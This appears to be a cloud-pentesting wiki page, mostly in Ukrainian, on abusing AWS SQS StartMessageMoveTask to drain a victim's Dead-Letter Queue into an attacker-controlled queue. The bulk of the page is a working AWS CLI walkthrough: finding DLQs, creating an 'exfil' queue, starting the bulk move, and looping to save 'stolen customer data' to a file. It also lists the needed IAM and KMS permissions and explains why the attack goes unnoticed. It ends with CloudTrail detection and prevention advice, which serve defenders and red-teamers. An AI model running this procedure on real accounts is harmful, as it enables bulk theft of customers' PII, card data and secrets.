AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask

Reading time: 6 minutes

Description

Зловживання задачами переміщення повідомлень SQS для викрадення всіх накопичених повідомлень з Dead-Letter Queue (DLQ) жертви, перенаправивши їх у чергу, контрольовану атакуючим, за допомогою sqs:StartMessageMoveTask. Ця техніка експлуатує легітимну функцію відновлення повідомлень AWS для ексфільтрації чутливих даних, які накопичилися в DLQ з часом.

What is a Dead-Letter Queue (DLQ)?

Dead-Letter Queue — це спеціальна черга SQS, куди повідомлення автоматично відправляються, коли основний додаток не може успішно їх обробити. Ці невдалі повідомлення часто містять:

• Чутливі дані додатку, які не вдалося обробити
• Деталі помилок та інформацію для налагодження
• Personal Identifiable Information (PII)
• API токени, облікові дані або інші секрети
• Критично важливі бізнес-транзакції

DLQ виступають як «кладовище» для невдалих повідомлень, що робить їх привабливою ціллю, оскільки вони накопичують чутливі дані протягом тривалого часу, які додатки не змогли обробити належним чином.

Attack Scenario

Real-world example:

1. E-commerce application обробляє замовлення клієнтів через SQS
2. Деякі замовлення не проходять (проблеми з оплатою, з інвентарем тощо) і переміщуються до DLQ
3. DLQ накопичує тижні/місяці невдалих замовлень з даними клієнтів: {"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}
4. Атакуючий отримує доступ до AWS облікових даних з дозволами на SQS
5. Атакуючий виявляє, що DLQ містить тисячі невдалих замовлень з чутливими даними
6. Замість спроб доступу до окремих повідомлень (повільно і помітно), атакуючий використовує StartMessageMoveTask для масового перенесення ВСІХ повідомлень до своєї черги
7. Атакуючий витягує всю історичну чутливу інформацію за одну операцію

Requirements

• Джерельна черга має бути налаштована як DLQ (посилана принаймні однією чергою через RedrivePolicy).
• IAM дозволи (виконуються від імені скомпрометованого облікового запису жертви):
• На DLQ (source): sqs:StartMessageMoveTask, sqs:GetQueueAttributes.
• На черзі призначення: дозвіл на доставку повідомлень (наприклад, політика черги, яка дозволяє sqs:SendMessage від облікового запису жертви). Для черг в тому ж акаунті це зазвичай дозволено за замовчуванням.
• Якщо ввімкнено SSE-KMS: на source CMK kms:Decrypt, і на destination CMK kms:GenerateDataKey, kms:Encrypt.

Impact

Potential Impact: Ексфільтрація чутливих payload-ів, накопичених у DLQ (невдалі події, PII, токени, payload-и додатків) з великою швидкістю, використовуючи нативні SQS API. Працює між акаунтами, якщо політика черги призначення дозволяє SendMessage від облікового запису жертви.

How to Abuse

• Визначте ARN жертви DLQ і переконайтесь, що вона дійсно використовується як DLQ якоюсь чергою (будь-яка черга підходить).
• Створіть або виберіть чергу, контрольовану атакуючим, і отримайте її ARN.
• Запустіть задачу переміщення повідомлень із DLQ жертви до вашої черги призначення.
• Моніторте прогрес або скасуйте за необхідності.

CLI Example: Exfiltrating Customer Data from E-commerce DLQ

Scenario: Атакуючий скомпрометував AWS облікові дані і виявив, що e-commerce додаток використовує SQS з DLQ, який містить невдалі спроби обробки замовлень клієнтів.

1. Discover and examine the victim DLQ

# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq

# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

# Check how many messages are in the DLQ (potential treasure trove!)
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"

2. Створіть чергу призначення під контролем зловмисника

# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

echo "Created exfiltration queue: $ATTACKER_Q_ARN"

3. Виконайте масове викрадення повідомлень

# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
TASK_RESPONSE=$(aws sqs start-message-move-task \
--source-arn "$SRC_ARN" \
--destination-arn "$ATTACKER_Q_ARN" \
--max-number-of-messages-per-second 100)

echo "Move task started: $TASK_RESPONSE"

# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10

4. Збирати викрадені конфіденційні дані

# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--attribute-names All --message-attribute-names All \
--max-number-of-messages 10 --wait-time-seconds 5

# Example of what an attacker might see:
# {
#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
#   "MessageId": "12345-abcd-6789-efgh"
# }

# Continue receiving all messages in batches
while true; do
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--max-number-of-messages 10 --wait-time-seconds 2 --output json)

if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
echo "No more messages - exfiltration complete!"
break
fi

echo "Received batch of stolen data..."
# Process/save the stolen customer data
echo "$MESSAGES" >> stolen_customer_data.json
done

Примітки щодо доступу між акаунтами

• Цільова черга повинна мати політику ресурсу, яка дозволяє principal жертви виконувати sqs:SendMessage (і, якщо використовується, KMS grants/permissions).

Чому ця атака ефективна

1. Legitimate AWS Feature: Використовує вбудований функціонал AWS, що ускладнює виявлення як шкідливого
2. Bulk Operation: Переносить тисячі повідомлень швидко, замість повільного індивідуального доступу
3. Historical Data: DLQs накопичують чутливі дані протягом тижнів/місяців
4. Under the Radar: Багато організацій не відстежують доступ до DLQ ретельно
5. Cross-Account Capable: Може exfiltrate до власного AWS акаунту нападника, якщо дозволи це дозволяють

Виявлення та запобігання

Виявлення

Monitor CloudTrail for suspicious StartMessageMoveTask API calls:

{
"eventName": "StartMessageMoveTask",
"sourceIPAddress": "suspicious-ip",
"userIdentity": {
"type": "IAMUser",
"userName": "compromised-user"
},
"requestParameters": {
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
}
}

Запобігання

1. Принцип найменших привілеїв: Обмежте дозволи sqs:StartMessageMoveTask лише необхідним ролям
2. Моніторинг DLQs: Налаштуйте CloudWatch alarms для аномальної активності DLQs
3. Політики між акаунтами: Уважно перевіряйте SQS queue policies, що дозволяють доступ між акаунтами
4. Шифрування DLQs: Використовуйте SSE-KMS з обмеженими політиками ключів
5. Регулярне очищення: Не дозволяйте конфіденційним даним накопичуватися в DLQs безстроково